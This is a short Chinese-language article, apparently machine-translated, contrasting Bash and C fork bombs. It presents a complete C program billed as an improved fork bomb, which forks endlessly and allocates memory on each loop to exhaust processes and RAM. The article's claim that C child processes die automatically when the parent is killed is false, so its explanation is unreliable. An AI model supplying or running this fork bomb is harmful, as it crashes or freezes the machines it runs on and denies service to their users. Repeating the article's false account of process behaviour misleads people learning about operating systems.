C / C ++中的C vs BASH叉子炸弹?
已经很清楚,BASH分支炸弹比其C程序版本强大得多。主要原因是在BASH中,创建的进程与父进程分离。如果父进程(我们最初启动的进程)被销毁或杀死,则其余或其余进程继续存在。但是在使用C实现的情况下,如果父进程被销毁或杀死,则列出的子进程会自动死亡。脚本负责直接与系统通信。
可以使用C中的fork炸弹程序进行更新或修改。创建派生进程时,我们可以在程序中分配内存。
以下程序被视为改进的C叉炸弹的实现-
// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
//无限循环
while (1){
//生成子fork进程
fork();
//在RAM中分配内存
int *p1 = (int *) malloc (sizeof (int) * 100000);
}
}